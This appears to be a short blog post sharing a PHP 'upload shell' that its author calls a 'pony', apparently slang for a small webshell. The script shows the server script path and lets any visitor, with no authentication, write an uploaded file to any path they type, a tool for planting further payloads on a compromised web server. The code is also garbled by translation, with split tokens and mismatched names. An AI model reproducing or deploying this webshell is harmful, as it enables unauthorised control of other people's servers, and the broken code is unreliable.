I recently learned php and saw the file upload part. I simply wrote a php file upload script. It can be said that it is a pony and has no technical skills ~
01
02
03 <title> Php upload shell </title>
04
05 <body>
06
07 Path: <? Php echo $ _ SERVER ['script _ filename'];?> <Br/>
08
09 <form enctype = "multipart/form-data" action = "" method = "post">
10
11 Please fill in the path of the upload and the filename: <input type = "text" name = "choose" size = "50"/> <br/>
12
13 Please choose the uploaded files: <input type = "file" name = "upfile" size = "40"/> <input type = "submit" value = "Upload file"/>
14
15 </form>
16
17 <? Php
18
19 if (move_uploaded_file ($ _ FILES ['upfile'] ['tmp _ name'], $ _ POST ['choose'])
20 {
21 echo "The file upload successful ";
22}
23 else
24 {
25 if ($ _ FILES ['upfiles'] ['erro ']! = 0)
26 echo "The file upload failed, you can try other folder .";
27}
28
29?>
30 <br/>
31 Code by Str1ven <br/>
32 Email: str1ven@foxmail.com
33 </body>
34
From: Str1ven's Blog